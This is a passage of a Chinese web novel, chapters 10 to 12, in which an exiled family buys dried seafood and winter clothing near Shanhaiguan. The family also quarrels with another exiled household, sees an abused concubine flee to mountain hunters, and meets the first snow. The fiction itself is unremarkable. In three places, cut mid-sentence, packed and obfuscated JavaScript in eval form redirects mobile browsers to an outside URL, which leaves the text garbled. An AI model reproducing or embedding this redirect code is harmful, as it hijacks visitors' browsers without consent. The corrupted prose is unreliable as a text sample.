“算一算日子,咱们这两三日就能赶到山海关,比朝廷规定的日子早了七八日,不如我们在山海关歇一日,大人们准备些御寒的衣服鞋袜再出发,也不怕被东北酷寒要了性命。” 黄差役冷笑:“究竟是方便了我等,还是方便了你们这些流犯?” “大人们押送我们去松江城,我们若是不想些法子,都死在了风雪里,对大人也不好,咱们这是两相得益。”顾稳此话说的坦荡。 顾稳又言道:“曾听说山海关临海,本地渔民打了许多海物晒干了没处卖,价格便宜得很,大人们若是感兴趣,也可借此机会去瞧瞧。” 见顾稳这般说话,田清德、李洪文都走过来帮腔。 李洪文道:“今朝山海关内外,除了驻守的燕州军外,民人甚少,大宗的海货生意多是军中大人们把持,当地海货虽便宜,倒买倒卖也是暴利,若是不花费些口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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除了白氏外,苏家留了苏光的老来女苏香带着三个侄子侄女,李家留下柳氏看东西。 顾佑安笑了笑,跟白氏说:“那好,我出去转转,我还没见过大海呢。” “你要去海边呀,去也行,不过要小心些,别往海里去,不安全。你娘好似也要去海边,说要去看看,能不能捡些海货回来。” 顾佑安往身上又穿了一洗掉色的青色外衣,她太过瘦弱,以往合身的衣裳都大了,稍挽了截袖子,又把头发抓起来,拿麻绳捆了个发髻,一副男儿打扮。 白氏看她这般打扮,故意道:“嗯,黑了点也是俊俏的,谁家小郎君这般好看呐。” 顾佑安穿上草鞋,笑着起身:“婶婶,我先出去了。” “嗯,去吧。” 10. 第 10 章 驿站离山海关十里地,因这里是要塞,四周不许遮挡,离着这些距离,天气若是好,也能看到远处高耸的城墙。 这时候的山海关雄伟壮观,跟千年后饱经风霜的山海关可不一样。 顾佑安站在原地看了会儿,看够了才转身往东南方向走。 驿夫说了,那边一片沿海的地儿住的都是渔民,沿着这条路往下走五六里路,那边有个集市,要买什么,去那儿就对了。 路上没有其他行人,走到一片林子里,顾佑安短暂消失又出现,再出现时,她肩上背着一个竹篓,怀里揣着二十两银子。 这会儿快中午了,赶早市卖鱼虾的走了许多,顾佑安到时,剩下的没什么好东西了。 “大爷,你这缸里的鱼怎么卖?” 那卖鱼的大爷听出顾佑安口音不是本地的,猜他或许是跟着商队过来的,也没欺负他:“小子,我这些都是清早捕来的海鱼,新鲜着呢,你若是要,剩下这几条大的小的你若是都要,给我三十文钱,都拿去。” 水缸里的鱼半死不活,不过顾佑安也不在乎这些,她买了海鱼也只会丢冰柜里冻着。 “可给收拾?” “给收拾。”大爷哈哈一笑,露出两个黑洞的牙,高兴道:“小子会看人咧,老汉我杀鱼的手艺别人都比不了哦。” 屋檐里头正是一家卖干货的,掌柜听到这话,半趴在柜台上哈哈大笑:“李老头真敢说,说这话也不怕风大闪了舌头。” “海上讨生活怕什么风大,就怕没有鱼咧。” 顾佑安评判不出大爷杀鱼手艺的好坏,不过瞧着挺利索的,顾佑安自己肯定没这个手艺。 没有买主上门,里头掌柜闲得没事做,跟顾佑安搭话:“小哥,你买这五六条鱼家里一顿可吃得完?” “家里人多,或许还不够。” 掌柜也听出她口音是外地的,又见她这般说,也猜她是跟着商队来的,顿时说话都热情了几分,道:“要吃新鲜的海鱼呀,这会儿在市场上买不到什么好东西了,你若是不嫌路远,从市场东口出去,往村里走一走,有些人家这会儿出海才回来的,家里肯定还有鱼。” 顾佑安谢过掌柜的好意。 掌柜热情推销道:“你们可要干货?我这儿海菜、干鱼、干虾都是便宜卖的,买得越多越便宜,以往从关外回来的商队都爱来我这儿买。” 顾佑安打量这家海货铺子,小小一间,一看就不像是常跟大商人做生意的,不过铺子里头的货整理得很齐整,也很干净,看着就赏心悦目,可见掌柜是个认真做生意的。 顾佑安指着墙角晒干的海带:“这怎么卖的?” “昆布呀,我家昆布跟别家可不一样咧,我家昆布都是我亲自去渔民家选的,不是肉厚干净的都不要。《药书》里有记载,昆布有软坚化痰,利水消肿之效,可是药食同源的好东西,听说在京都洛阳城里,一斤昆布能卖一两银子一斤呢。” 耐心听掌柜吹嘘完,顾佑安问:“您怎么卖?” 掌柜伸出两根手指头,笑道:“昆布在海里可不好采,晒干了保存也需费些事,你若是要的多,我算你是二十文钱一斤。” “十文。” 掌柜急了:“嘿,你这小子,砍价哪有对半砍的?我这一斤干货能泡出好几斤呢,一斤干货至少十八文。” “十文。” “不行,十五文一斤,我的底价了,可不许再砍价了。” “十文。” 掌柜顿时明白了,这小子不好忽悠,就说:“十二文,不能再少了。” 顾佑安不知道这个价格是贵是贱,不过她会看人脸色,见确实没得少了,就点了点头,买了三十斤。 掌柜顿时笑了起来:“小哥你等着,我给你称来。” 掌柜拿麻袋装货去了,这边几条鱼杀好了,大爷把鱼串草绳上交给她,小声说:“你若是去村里买,还能便宜些,只是村里自家的昆布没有精心挑选过,不如铺里的好看,味道是一样的。” 顾佑安谢过大爷,问道:“你家有昆布要卖?” 大爷笑着说:“我家存了几十斤,你若是要,十文钱一斤卖给你。” 顾佑安没空去大爷村里,就婉拒了,大爷走时还有点遗憾,叫她下回有空了去南边石头村找他。 顾佑安买了三十斤干昆布,提着几条杀好的海鱼出集市,在外头林子里转了一圈,又背着空背篓去东边渔村,刚巧碰上回村的渔民,买了几十斤新鲜鱼虾带走。 冰柜里原本就装满了各种冻货,这些鱼虾装进去后,彻底塞满了。 过了午时,顾佑安又去了集市一趟,从上午那家干货店里又买了许多干鱼干虾,又私下在店家那儿买了两斤盐,花了将近十两银子。 米粮空间里原本就有,不必买,等到了松江城,这些存货估摸着够他们一家人吃到明年开春了,趁过冬,一家子也能养一养身子。 厨房没地方放这些干货,顾佑安把东西堆放到一楼中药铺的柜台上,扭头看到柚子为开店买的那些东西,桌椅板凳、粮食、蔬菜、铁锅、纸巾等,如今都便宜了她。 也不知道柚子如何了,若是知道她失踪,不知道要伤心成什么样了。 顾佑安去楼上衣柜顶上翻出来一床用旧了的棉被,叠好塞背篓里,外头又盖着一件他爹的旧衣裳遮挡。 顾佑安刚从空间出来,看到左前方两个人一前一后走着,她连忙躲在树后,不敢叫人瞧见。 过了会儿,顾佑安偏头一瞧,那两人还未走,仔细再看,顾佑安见那两人停住了脚步,其中一人好似是李洪文的小妾张氏。另一个身量颇高的汉子顾佑安不认得,但肯定不是李家人。 又等了会儿,等那两人走了,顾佑安才慢慢走回驿站去。 这会儿半下午了,四家人都不敢在外头逗留,一个个都陆续回驿站了。 同住一个屋,顾佑安随便一瞧就能猜到,各家都准备不少御寒的衣物。 田家父子和顾稳父子一块儿出行,也是一块儿回来了,两家都买了几件半旧的棉衣棉裤。 只看外观,每件衣服裤子上都是补丁摞补丁,再上手捏一捏,里头的棉芯子都结块儿了,这如何抵挡得住风雪? 这样的衣裳,以前家中下人都瞧不上,如今白氏抱在怀里如获至宝:“也不坏,多少能抵挡些风雪。可买了鞋袜了?” “买了,就是为了买好些的鞋袜,我才做主去当铺选了这些便宜的棉衣。左右棉絮不暖和还能往里头塞些芦花,也不妨事。” 田清德卸下肩上的背篓,里头的鞋子都是正经保暖的棉鞋,其中甚至还有一双杂毛皮拼的短靴子,这是专门给白氏准备的。 “寒从脚底起,你身子骨又不好,我不忍心你受冻伤了脚。” 白氏看着这双丑陋的皮鞋子忍不住垂泪,心中暗暗发誓,她不能放弃,一定要全家人完完整整地到达松江城。 杜氏牵着阿萱回来,手里还提着买来的一条鱼,阿萱手里捧着海边捡来的许多贝壳。 “啊呀,这是哪里来的?白姐姐,这是你家的?”杜氏看到墙角摆着一个没见过的背篓,背篓里装着一床半旧的棉被,忍不住惊呼。 白氏笑道:“哪是我家的,这是你家的,你家安安买回来的。” 杜氏眼睛冒光,把手中的鱼放陶罐里,连忙过去瞧棉被,嘴里还忍不住道:“花了多少钱?谁家肯卖的?” 杜氏知道安安空间里有家里带来的棉被,只是那些棉被都是新的,若是拿出来,肯定轮不到他们自家用就被差役拿走了。 昨儿晚上杜氏还在想,活人不能叫尿憋死,若是不得行,悄悄买几件旧棉衣拆了填上自家棉被的棉絮,再用一路背来的芦花做一床棉被且用着。 这旧棉被好呀,里头不知怎么样,外头的棉絮都看不出白色来,虽值些钱,到底不值得那些差役撕破脸来抢。杜氏真是越看越觉得好。 顾佑安轻咳一声:“您放在我这儿的银钱都叫我花了。” “不坏不坏,花了也就花了,就是到了松江城,也是要花银子买被子的。” 到了松江城,有保暖的新棉被用,这旧的拿去做垫子使也是好的。 明面上,田家和顾家采买御寒的衣服鞋袜抠搜得很,斜对角的苏家和李家倒是大方,一个个都准备了一身暖和的衣裳,唯独只有小妾张氏,还是一身单衣。 傍晚各家人都回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299818|167118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,黄差役过来点了人头,扭身又走了。 这里鱼虾便宜,今天各家都煮鱼虾吃。去厨房借了厨刀把鱼切成段,丢清水锅里煮,这样就很好吃了。 煮饭时,田二郎和顾文卿两人正在折腾什么东西,顾佑安伸头过去瞧,顾文卿小声说:“这是鹿筋,从关外过来卖皮子的一个猎户手里买来的。” 顾佑安心领神会:“要做弓箭?” “嗯,有这个打算。”不过还没跟黄差役他们商量。 几人正说话时,门外头两个孩子不知道为什么打起来了,李家那小子突然号啕大哭,嘴里还有血。 柳氏忙冲出去骂:“小丫头片子敢打我孙子,我……” 杜氏像母老虎般冲出去,一头撞开柳氏:“你要怎么样,你还敢打我女儿不成?你敢碰我阿萱一个指头,我跟你拼命。” 柳氏力气远不及杜氏,被撞了仰倒,柳氏大怒,指着小妾张氏就骂:“下贱东西,你家主母被人打了,你还不上前帮手,死人不成?” 张氏慌了手脚,我我我半天,说不出话来。 李文旦的亲娘,柳氏的大儿媳谢氏抱起儿子心疼坏了,看着顾家人冷笑一声:“你们家丫头打了我儿子,不给个说法?” 顾稳抱起小女儿:“说给爹爹听,怎么就打起来了?” 阿萱气愤,指着李文旦大声说:“他是坏人,他抢我的贝壳。” 柳氏冷嗤:“贝壳而已,当什么好东西,可见是眼皮子浅的。” “我呸,抢了就是抢了,抢东西难道还分高低贵贱不成?你家少家教,还恶人先告状,可见是祖宗根上就坏了,老的贪污受贿,搞得太湖决堤,一气害死几万百姓,小的小小年年就知道当强盗,你家从上到下没一个好东西。” 杜氏怒火中烧,若不是白氏拦住,她还要上前踹那柳氏一脚才解气。 这话说得很不给人脸面了,李洪人顿时脸黑如锅底,不等柳氏再回嘴,李洪文怒斥柳氏道:“够了,不会说话就闭嘴。” 这边吵闹,那边驿夫不耐烦道:“不想住屋里就滚出去,惹恼了住驿站的大人们,有你们的好果子吃。” 这下被打断,也没了再骂的气口,杜氏把小女儿从顾稳怀里抱过来,进门去了,进门时路过李家大儿媳身边,还冷哼一声:“好狗不挡道。” 李家大儿媳被气的呀,看了公公一眼,到底不敢再张嘴,憋的说不出话来。 顾稳话冷脸冷:“李兄,同行一场,过往如何且不提,日后还望你看管好家中女眷孩童,少生是非。” 李洪文也觉没脸,拱手微微点头,扭头进去了。 阿萱趴到姐姐怀里,笑嘻嘻塞给姐姐两个贝壳:“我选了几个最好看的,这些给姐姐。” 顾佑安抱着阿萱,捏捏她的细胳膊:“怎么打的,可把自己打疼了?” “他抢我的东西,我拿头撞他,我不疼。” 顾文卿无奈,小妹尽跟娘学,就知道拿脑袋撞人,姑娘家这样可不好。 顾佑安小声鼓励她:“撞得好,以后别人若是欺负你,你也撞他。” “嗯,我记得了。” 一场孩童闹剧,苏家人在一旁看着,苏光意味深长地看夫人陆氏一眼。 陆氏轻哼,她难道不知道李家是小人?不知道柳氏是个缺调教的? 可有些事吧,睁一只眼闭一只眼就算了,左右欺压不到她头上来。 柳氏没脸,这会儿对着小妾张氏撒气,嘴上骂张氏不会做事,不知道看好家里小主子,骂了且不算,还往张氏胳膊上狠掐。 当着这么多外人在,真是一点当家主母的脸都不要了。 张氏眼含热泪,偷偷看李洪文,李洪文皱眉:“天快黑了,饭还做不做?” 哼,柳氏一扭身走了。 杜氏看不过,冷笑道:“有些人呢,都流放了,就差送去边关充做营妓了,还当自己是什么高贵人不成?整日骂这个欺负那个,若是换成个气性大的,非得往锅里吐口水不可。” 田二郎乐了,笑着接话:“换成我,我叫他天天吃尿煮野菜,粪炖饼子。” 顾佑安顿感一阵恶心,无语地看着田二郎,晚食还吃不吃了? 11. 第 11 章 顾李两家闹了一场,今日外出带来的愉快全都没了,孩子也是会看眼色的,苏家那三个孙辈也不敢玩闹,吃了晚食就缩草堆里睡了。 阿萱也早早睡了,顾佑安睡不着,她帮着她娘拆棉衣。买来的旧棉衣拆开,掏出板结的棉絮,再塞了厚厚的芦花进去缝上。 顾佑安心里有打算,她拆的那件旧棉衣里的芦花最多,棉衣袖子都膨胀起来了,若不是压一压,棉衣都差点缝不上。 杜氏瞟了一眼道:“你这孩子,也太实诚了些,给你爹穿也不必絮这么厚,只怕走路都甩不开手。” 顾佑安扯了扯袖子,她粗糙的针脚歪歪扭扭的,看着不怎么体面,她道:“给哥哥穿。” 顾文卿受宠若惊:“我不穿,给爹穿吧。” 顾佑安没接话。 杜氏那边也忙完了,母女俩去给白氏帮忙。 杜氏把自家改棉衣剩下的芦花都给田家,她对白氏道:“我看你家买来的棉衣比我家的好,只你手里两件外,其他棉衣棉裤也不必改,我们两家剩下的芦花,足够再给你家絮一床芦花被。” 杜氏诚心送芦花,按两家的情分,白氏自然不会拒绝,她只道:“芦花是够的,无奈没有布来做被面。” “将就着用旧衣裳改吧,等到了那冰天雪地里就知道了,有床芦花被那是求都求不来的好东西。” 杜氏又道:“棉被比芦花被子暖和,等出了关,晚上你跟我们母女三个睡,叫他们五个男人盖芦花被去。” 若是要够五个男人盖的被子,那得多长? “做长一些,不必做多宽,叫他们把被子打横了扯着盖,若是怕脚冷,自己缩着睡,多少顶些事。” 白氏愧疚道:“也行,就是拆了你家几件衣裳,我这……” “咱们两家的情谊就别说这些了,快些改,早点弄完,咱们后半夜还能睡一两个时辰。” 顾文卿睡到半夜,起来给炉子添柴,火光下,他娘他们已经把芦花被子改好了,他比一比长短,若是横着盖,这被子只能盖到他膝盖的位置。 杜氏眼睛都熬红了,帮着白氏叠好被子,打了声哈欠,各自回自家干草铺上睡着了。 隔天是大晴天,太阳晒在人身上甚至微微有些灼热,流放的四家人却是背着御寒的衣服、口粮,抱着干草,准备齐全地,埋头往关外去。 过关时,黄差役拿着文书去找守城的军官批条子,其中有个手臂肌肉鼓鼓的百户看了苏光一眼。 黄差役办好过关的手续,回头皱眉训声道:“愣着做甚,赶紧走,别耽误了路程。” 流犯出关了,刚才给黄差役批文书的人过来跟那个手臂壮硕的百户道:“听说昨儿苏光托人去找了李百户,请他使人去松江城送信?” 被问话那人冷着脸道:“咱们山海关顶头的人是燕州将军,祈王管不到咱们这儿来,将军不发话,李百户若是敢使人出关报信,他怕是不想活了。” “这事儿吧……唉,也不好说。” “没什么不好说的,洛阳那里传了话来,不许给祈王送信,咱们都是吃皇粮的,难道还敢违背不成?” 那倒也是,祈王是皇叔,不是当今的皇子,他们就是想帮苏光一把那也是不能帮的,免得叫人误会了他们这些人投了祈王,对朝廷有异心。 苏光就算死在去松江城的路上,那也怪不得他们。要怪,就怪上头的人吧。 “我看苏光身子骨不差,又准备了棉衣,出关后若是不耽搁,说不定能赶在下雪前到松江城。” “那最好不过了,咱们两边不得罪。” 也不知是不是心理原因,出了关后没走几天,顾佑安就觉得一下冷了,特别是阴天没有太阳的时候,单衣都觉得有些穿不住了。 天气变得快,杜氏尤其关注两个女儿,盯着她们减衣穿衣,就怕她们不小心着凉。 一路走来,顾佑安即使偶尔能去空间补充些食物,她如今瘦的跟竹竿儿差不多,阿萱也瘦了,脸颊上的嘟嘟肉还在着,精神头也好,瞧着比她姐姐身子骨还健壮。 杜氏傍晚时才夸过小女儿身子骨好,谁知晚上她就着凉了,后半夜就咳嗽起来,杜氏后悔不迭。 “唉,怪我想的不周到,小儿当不起夸,一夸就叫瘟神听到了,应了反谶了。” 这晚上睡在野外,草棚子勉强挡一挡风,杜氏怕女儿再受凉,把小女儿抱在怀里,只露了头出来。 白氏睡在另一边,她拿了件旧衣裳包在阿萱头上,安慰道:“阿萱身子骨好,咱们发现的也早,估计一两日就好了。路上阿萱也病了好几次,每次都是这样的,这回应该也是。” “嗯,希望老天爷保佑吧,叫阿萱顺顺当当的好了。” 杜氏心想着,之前每次阿萱好得快,那都是托了安安拿来的药好。 这次顾佑安也早有准备,把药塞阿萱嘴里,又摸黑喂她喝水。 好在这药有糖衣,阿萱吃在嘴里不觉得苦,眼睛没睁就咽下去了,一声都没哼唧,旁边的白氏都没察觉到,以为只是喂了两口温水。 旁边的草棚子里一阵窸窸窣窣,顾稳喊了声:“可有事?” 杜氏道:“阿萱闹腾,没事,你们睡吧。” 顾稳竖起耳朵听了会儿,女眷那边真没动静了,这才又睡下。 昨晚上突然冷了,着凉生病的人不少,除了顾家的小阿萱咳嗽外,苏家那个孙女和陆氏病了,李家那个小妾张氏也病了。 顾家跟李家人的草棚子隔得远,如何知道张氏病了?那是因为张氏早上烧水时被柳氏骂,嫌她晦气。 杜氏听了直冷笑,有些人天生就是没有良心的。 白氏叹气:“张氏也是命苦。” 杜氏恨铁不成钢:“命苦什么,还不是自己作的,但凡她有脑子,就不该跟着李家来流犯受这个罪。就算来了,她管着李家人一家吃喝,对李家那是天大的恩德,柳氏骂她,她就该理直气壮地骂回去。” 白氏笑:“你是这样的性子,说起来做起来自然容易,张氏可做不来,要不她也不会落到这副田地。” 顾佑安抬头,看到一里外的地方有人走动,若不出意外的话,应是从出关时就跟着他们的那群山里人。 “爹,他们跟着我们好几日了,有什么意图?” 顾稳一边捆干草一边道:“也不定是跟着咱们,或许是他们本就是要走这条路。” 顾稳指着前面高低起伏的群山:“山海关附近是燕州军的地盘,关外的猎户一般都会躲着些,他们大都在更深的深山里讨生活,偶尔才会拿肉和皮毛下山跟人换些粮食和盐。” “他们可交税?” 田清德走过来,笑道:“去山里收税?税官再有本事也做不到,收这些山民猎户的税,只能等他们下山卖东西的时候了哦。” 也是因为他们下山卖东西被人盘剥,山里的人若不到不得已的时候,轻易是不会下山,就算下山,也多是男人们,女人和孩子很少出来。 顾佑安垂眸心想,若是如此,对于不求功名利禄之人,躲去山里面也是条路子。 这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299819|167118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日子顾佑安发现了,一直跟着他们的那群山民和猎户,其中有个男人的身形她看得很眼熟,若是没看错,应该是前些日子在林子里跟张氏说话那人。 “耳朵聋了听不见啊,叫你收拾干草,愣在这儿做什么?等我这个当家主母动手吗?” “不敢。” “既知不敢那就赶紧的,几位大人还等着。” 简单用了早食,除了李家之外,另外三家都收拾好准备走了。 张氏咳得脸都红了,颤抖着手收拾干草,捆好又背在肩上,看着尤为可怜。 偏李家的儿女媳妇儿等都嫌弃她,连她丈夫李洪文都未帮她说半句话,只皱眉瞧着。 这时,一直跟着他们的山民中走出一人来,那老头儿冲李洪文大喊一声,又叽叽咕咕说了两句。 那老头说的官话不怎么准,李洪文没怎么听明白。 那个去过一回松江城的差役,祖籍是北方的,乡音相近,他听懂了老头儿喊的话,顿时大笑起来。 “老五,你笑甚?” 叫老五的差役扭头跟兄弟们笑道:“这老头骂李洪文是个畜生,说他既护不好自家的女人,就卖给他,他们山里的汉子会护女人。” 在场的男子顿时大笑,被一个不认识的贱民骂到脸上的李洪文,气得浑身颤抖,怒斥:“乡野粗人,只会说些上不得台面的粗话,还不赶紧滚。” 柳氏先是瞪着张氏,随后又笑了起来:“老爷,这张氏左右病得要死了,卖给那老头算了,换些银钱回来也是好事。” “无知蠢妇,你柳家就是这样教导你当当家主母的?” 柳氏没脸,轻哼一声,也就不管了。 张氏病得脸颊发红,脑子发晕,茫然地看着这场笑闹。 差役们看热闹的心起,黄差役叫老五跟那老头儿问话,问他要花多少银子买媳妇儿? 那老头比了三个手指,两张鹿皮,一张野羊皮。 老五笑道:“这价钱不便宜了,可见你是有诚意的。” 老头点点头,他确实有诚意。 耍弄了片刻,要赶路了,黄差役摆摆手叫老头走:“张氏是流犯,李家无权卖她,你们且走吧。” “大老爷,以往……” “以往是你们的事,跟我无关,爷我不担这个责。” 老头儿见黄差役不肯,只得带着人退下,不过也没走远,还是远远跟着。 顾佑安见那山民和黄差役说话的语气,顿时明白,以往流放去松江城的女囚犯,那些报上去跑了、死了、失踪之人,只怕有些都被卖进山里了。 他们这些人没被卖,其中缘由,顾佑安猜测,一是黄差役胆子小不敢,二是他们之中有像苏光这样出身大族,又是祁王曾经先生的人在,他怕万一走漏风声,惹来杀身之祸。 若无人护着,有生育价值的年轻妇人,无论是在繁华的京都洛阳,还是在偏僻的山野之地,都逃不过被买卖的命运。 张氏若是活着跟李家人到了松江城,估计也逃不过被搓磨到死的命运。 顾佑安看张氏背着干草,颤颤巍巍走路的模样,就她这样的,还不如进山。 不知不觉,顾佑安走到爹娘中间了。 杜氏小声跟大女儿说:“瞧见了吧,以后没有人陪着,不要去不熟悉的地方,这里山多林密,你若是遇到恶人了,爹娘找你都不知道上哪儿找你去。” 顾佑安沉默着点点头。 不过是恶得更赤/裸罢了,她不怕,在这儿她也会保护好自己,和家人。 12. 第 12 章 这天之后,再没暖和过,天气一日比一日冷,好在再走两日后他们可以歇在驿站里。 张氏病重,几乎走不动路,还是杜氏和白氏瞧她可怜,加上差役嫌她拖慢了行程,叫她换着坐了半日两家的推车,张氏感激涕零。 张氏实在可怜,杜氏瞧了也叹气。 天气冷,加上阿萱才病好了,杜氏怕阿萱又遭了风寒,就把一路上攒了不少草药,煮了一大锅,自家人各喝了半碗汤药预防着,剩下的都送给了张氏,张氏的病这才好好坏坏熬了下来。 张氏感激顾家和田家,她又身无长物,到驿站后,她积极帮着田家顾家去外头找柴火。 张氏帮了别家,这样张氏给李家找的柴火就少了,柳氏气恼,她这会儿也不在乎脸面了,抽了根柴,把张氏一顿好打。 张氏被打得哀嚎,李洪文怒斥了柳氏一顿,柳氏这才轻哼着丢开柴。 张氏挨了打且不算,柳氏不许张氏没了饭吃,连差役发的干饼子都给抢了去。 杜氏和白氏纷纷挪开眼睛,都觉张氏这般软弱,不值得同情。 顾佑安跟她娘有不一样的看法,张氏虽软弱,心里肯定是个知道好坏的,小妾对主母不敢还手,不代表她不敢逃。 半夜时分,天黑伸手不见五指,浑身疼得睡不着的张氏悄悄出门去。 不过一刻钟后她回来,给顾家田家各塞了一张鹿皮。 顾家和田家人都醒了,却没声张。 张氏跪地上对两家人磕头,随后擦了擦眼泪,头也不回地走了。 杜氏和白氏忍不住叹气。 杜氏给女儿盖好被子:“睡吧,明日还要赶路。” 顾佑安翻了个身,闭上眼,过了许久,明明身子很累,却怎么也睡不着。 早上起来,顾佑安精神不济,坐在墙角醒神,那边李家人叫嚷叫人心烦。 “张氏那贱人真敢跑了,往日真是小瞧了她了。” “哼,我看她能往哪儿跑,这天下都是朝廷的地方,被抓到了,她死罪难逃。” “人从驿站跑了,咱们该找驿站要人。” 柳氏从来是最嫌张氏的,张氏走了没人干活,两个儿媳都是不好使唤的,张氏一边催两个儿媳烧火煮汤,又是吵嚷,意图叫黄差役他们去找人。 人生地不熟的,黄差役是有毛病才会多管闲事。 况且,人是在驿站丢的,又不是在路上丢了,怪罪也怪不到他头上。 一个不起眼的小妾罢了。 不过按规矩,黄差役还是要多询问两句。 黄差役找管驿站的小官儿打听山民的事,那小官儿说,知道附近山里有一伙山民,前些年当地县令想把人叫下山来定居,县丞大人带了向导进山,找了几回也没找到人,就罢了。 “人家本来就不喜山下的日子,若是愿意,早就下山了。” “那些大人们上山去找,估摸人家得了消息,早早避开了,这才找不到。” 黄差役点头道:“是这个理,若是愿意,哪还用人找。” 听驿站里驿夫们话里话外的意思,丢了就是丢了,管他怎么丢的,人家不下山来,你还有本事进山找回来不成? 黄差役心里猜测做了准,那张氏应是跟哪伙山民走了。 黄差役跟驿站小官儿写了文书,说清楚张氏失踪的前后事由,划分清楚权责,黄差役领人去驿站外头转了圈,就不管了。 见差役们这般作为,柳氏也就闭嘴了,顾佑安耳根子总算得了清静。 昨日半夜张氏给田家顾家各一张皮子,顾家那张皮子顾佑安早就放空间里藏起来了,田家得来的那张皮子,压在背篓底下,不叫人知道。 吃了些汤水离开驿站,顾佑安看了眼推车上的麻袋,那是刚才驿站给的干饼子,按照一个流犯一日三两个干饼子计算,他们到下一个驿站,还需走上三日。 若是没遇到风雪是三日,若是有风雪,不定几日才能到。 驿站里的驿夫都是本地人,他们会看天,都说叫他们赶路快些,只怕今年头雪这几日就会下。 连差役带流犯,只有一个叫老五的差役是北方人,其他都是南人,都怕着呢,早晨从出门后差役们就催着赶路,路上休息都不敢久歇,晚上更是要走到暮色四合才停下找地休息。 头天没下雪,第二天也没下雪,顾佑安十分庆幸。 差役们也说,好极好极,过了今晚,明日就能赶到驿站,可以安心在驿站里歇一晚了。 正庆幸着,谁知第二天快天亮时,天上纷纷扬扬下起了雪,天亮时雪越下越大,这会儿都冷得睡不着。 “安安,你可冷?” “娘,我不冷,我还受得住。” 杜氏关心大女儿,又摸了摸被窝里小女儿的胳膊,是暖和的,随即她微微抬起头朝隔壁草棚子里喊:“顾稳,大郎,你们可好?” “好,安安给我改的厚棉衣棉裤刚穿上了,暖和着呢。”顾文卿答了他娘,又关心他爹:“您冷不冷,要不咱们换一件棉衣,您穿我这件?” 顾稳看了儿子一眼,说他不冷,不用换。 昨天傍晚看天色阴沉的厉害,安安怕他晚上冷着了,昨儿傍晚趁找干柴的工夫,给他们夫妻一人一件羽绒马甲背心,这个穿在身上不起眼又暖和。 田二郎冷得躺不住,被子短,蜷缩着腿脚也难受,索性起身穿衣裳,田二郎摸了把顾文卿的胳膊:“你妹心疼你,真厚实哈。” 顾文卿略显得意,也摸了摸自己的衣袖。 顾稳见状,轻笑一声,那是安安早有准备。到底是亲哥,安安的秘密不能叫他知道,也不能真冻着他,于是就早早把给他的棉衣改厚实些。 黄差役在外催促:“赶紧着,一刻钟后启程,今儿不能耽误,必须赶在天黑前到驿站。” 下雪天,几家人也没空闲烧火煮汤水,将就着昨晚上烧过的水喝两口算了。 冷水配干饼子,这一路从洛阳走来,似乎都习惯了。 利索收拾好草棚,打包好各家东西这就要走。 最占地方的棉衣棉裤都穿在身上,一下显得各家行李少了大半。 阿萱扯了扯身上灰扑扑的棉衣,对姐姐咧嘴笑:“暖和着咧。” 顾佑安给她戴上帽子,笑了笑,当然暖和了,阿萱身上的棉衣里,她给塞了羽绒进去。 雪越下越大了,正要走,李家那边不知怎么吵起来了。 李洪文三个儿子,前面两个儿子已成婚,小儿子李望峰原本今年冬月里要成婚,因他爹犯了事全家流放,婚事自然是没有了。 李洪文的小妾张氏在时,全家人都压着张氏干活儿,张氏不在,柳氏就欺压两个儿媳,两个儿媳也不是什么好相与的,加上夫妻感情又还不错,老大老二都帮着媳妇儿说话,这一下,没成婚的老三李望峰势孤力薄,说不过哥嫂,这几日就被使唤上了。 偏李望峰也不是什么好鸟,以前在洛阳时就是个文不成武不就的纨绔子弟,虽不沾赌,其他各样玩意却是一个没落下,不比死在芦苇荡里的那个张家二房张武好几分。 要说李望峰唯一比张武强的地方,那就是有眼色,什么可以欺负什么人要敬而远之,他最清楚了。 这会儿哥嫂都使唤他,他一甩手不干了,还冷笑道:“现在你们欺负我,往后有你们求我的时候。” 李家大嫂谢氏微笑道:“小叔哪里的话,你侄子文旦今儿身上不舒坦,我和你大哥要照顾他,所以这才没空闲,劳累小叔辛苦了。” 李望峰根本不吃这一套,直接丢下草棚不管了:“我以后再不用跟条死狗样苟且偷生了,这些贱物我用不着,你们若是也不用,也不须管,丢了便是。” 李望峰抬脚就走,李二郎见状,也不管他媳妇儿朝他使眼色,他自去把草棚拆了,捆好干草背身上。 大嫂谢氏跟婆婆柳氏夸道:“咱们家还是要靠二弟和二弟妹。” 柳氏看着任劳任怨的老二格外满意,老二媳妇儿徐氏却被气得心肝儿疼,狗屁的任劳任怨,就是把她男人当牛使。 徐氏心里打定了主意,等到了松江城,她一定要拉着二郎跟公婆大哥大嫂分居别过,李二郎若是不同意,那就离,左右她不会跟他一块儿为李家作牛作马。 顾佑安观察李家这一番闹腾,一边赶路一边小声问她爹:“自从出了关后,我怎么感觉李家的小儿子越发趾高气扬了?这是为何?” 顾稳也不知:“或许是有其他门道吧。” 